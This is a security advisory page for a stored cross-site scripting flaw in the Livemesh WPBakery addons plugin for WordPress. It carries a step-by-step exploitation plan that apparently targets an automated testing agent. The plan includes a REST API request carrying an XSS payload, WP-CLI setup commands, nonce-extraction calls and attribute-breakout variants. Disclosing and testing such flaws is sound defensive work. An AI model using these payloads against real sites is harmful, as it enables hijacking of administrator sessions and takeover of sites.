WPBakery Page Builder Addons by Livemesh <= 3.9.4 - Authenticated (Contributor+) Stored Cross-Site Scripting
Description
The WPBakery Page Builder Addons by Livemesh plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 3.9.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=3.9.4This exploitation research plan targets **CVE-2026-57754**, a Stored Cross-Site Scripting (XSS) vulnerability in the **WPBakery Page Builder Addons by Livemesh** plugin. --- ### 1. Vulnerability Summary * **Vulnerability:** Authenticated (Contributor+) Stored Cross-Site Scripting. * **Location…
Show full research plan
This exploitation research plan targets CVE-2026-57754, a Stored Cross-Site Scripting (XSS) vulnerability in the WPBakery Page Builder Addons by Livemesh plugin.
1. Vulnerability Summary
- Vulnerability: Authenticated (Contributor+) Stored Cross-Site Scripting.
- Location: Frontend rendering of plugin-provided shortcodes (WPBakery elements).
- Root Cause: The plugin fails to sanitize input during shortcode attribute processing and fails to escape output using functions like
esc_html()oresc_attr()when rendering the element on the frontend. - Impact: An attacker with Contributor-level access can inject malicious JavaScript into a post. When an administrator views the post, the script executes in their session, potentially allowing for account takeover or site configuration changes.
2. Attack Vector Analysis
- Endpoint:
wp-admin/post.php(for saving/updating posts) or the WordPress REST API (/wp/v2/posts). - Hook/Action: Standard WPBakery shortcode processing via
add_shortcode. - Vulnerable Parameter: Attributes within plugin shortcodes (e.g.,
title,description,link_url). - Authentication: Authenticated, Contributor-level or higher.
- Preconditions: The plugin must be active, and WPBakery Page Builder must be enabled for the "Post" or "Page" post type.
3. Code Flow (Inferred)
- Registration: The plugin registers WPBakery elements, which are essentially wrappers for WordPress shortcodes (e.g.,
ls_heading,ls_accordion). - Input: A Contributor creates a post and adds a Livemesh element. WPBakery saves this into the
post_contentdatabase field as a shortcode:[ls_heading title="<script>alert(1)</script>"]. - Processing: When the post is viewed, WordPress parses the shortcode and calls the plugin's registered callback function (e.g.,
Livemesh_Addons_Elements::render_heading). - Vulnerable Sink: Inside the rendering function, the
$attsarray (containing the title) is extracted. The code likely contains a line similar to:echo '<h3 class="ls-heading">' . $atts['title'] . '</h3>';
Instead of:echo '<h3 class="ls-heading">' . esc_html($atts['title']) . '</h3>';
4. Nonce Acquisition Strategy
While the primary exploit involves saving a post (which uses standard WordPress _wpnonce), if the plugin uses a custom AJAX handler for dynamic previews within the WPBakery editor, a specific nonce might be required.
Strategy for AJAX-based exploration:
- Identify Script: Look for the script that enqueues the plugin's admin assets.
- Shortcode Creation: Create a page containing a Livemesh element to ensure scripts are enqueued:
wp post create --post_type=page --post_status=publish --post_content='[ls_heading title="Test"]' - Browser Navigation: Navigate to the page or the editor for that page.
- Extract Nonce: Use
browser_evalto extract the localized nonce.- Inferred Variable:
window.ls_addons_data?.ajax_nonceorwindow.vca_settings?.nonce. - Action:
browser_eval("window.ls_addons_data.ajax_nonce").
- Inferred Variable:
Note: For standard Stored XSS via post content, the wp_rest nonce or the post.php nonce is sufficient, which is handled automatically by the authenticated session.
5. Exploitation Strategy
We will use a direct http_request to simulate a Contributor saving a post containing the malicious shortcode.
- Step 1: Log in as a Contributor and obtain the
X-WP-Noncefor the REST API (simplest way to create a post). - Step 2: Construct the payload using a common Livemesh shortcode (e.g.,
ls_heading). - Step 3: Send a POST request to create/update a post.
HTTP Request (POST):
- URL:
https://example.com/wp-json/wp/v2/posts - Headers:
Content-Type: application/jsonX-WP-Nonce: [EXTRACTED_REST_NONCE]
- Body:
{
"title": "XSS Test Page",
"content": "[ls_heading title='<img src=x onerror=alert(`XSS`)>']",
"status": "publish"
}
6. Test Data Setup
- User: Create a contributor user.
wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Plugin Setup: Ensure
addons-for-visual-composeris active and WPBakery is installed. - Discovery: Run
grep -rn "add_shortcode" wp-content/plugins/addons-for-visual-composer/to identify the exact shortcode tags (likely starting withls_).
7. Expected Results
- The post is successfully created with the shortcode.
- When navigating to the post URL (e.g.,
https://example.com/?p=123), the HTML response contains the raw, unescaped payload:<h3 ...><img src=x onerror=alert(XSS)></h3> - An alert box with "XSS" appears in the browser.
8. Verification Steps
After the HTTP exploit, verify the database state via WP-CLI:
- Check Content:
wp post get [POST_ID] --field=post_content
Verify it contains the malicious shortcode. - Check Frontend Output:
curl -s "https://example.com/?p=[POST_ID]" | grep "onerror=alert"
Ensure the payload is rendered literally and not escaped (e.g., not converted to<img).
9. Alternative Approaches
- WPBakery Frontend Editor: Use the
browser_navigatetool to open the WPBakery Frontend Editor as a Contributor and manually inject the payload into a "Heading" element. This tests if the vulnerability exists in the editor's "Preview" mode as well. - Other Shortcodes: If
ls_headingis patched or filtered, test other complex elements likels_accordion,ls_tabs, orls_pricing_tableas they often use different rendering logic. - Attribute Breakout: If the input is placed inside an attribute (e.g.,
link='[URL]'), use attribute breakout:[ls_button link='#' onmouseover='alert(1)']
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.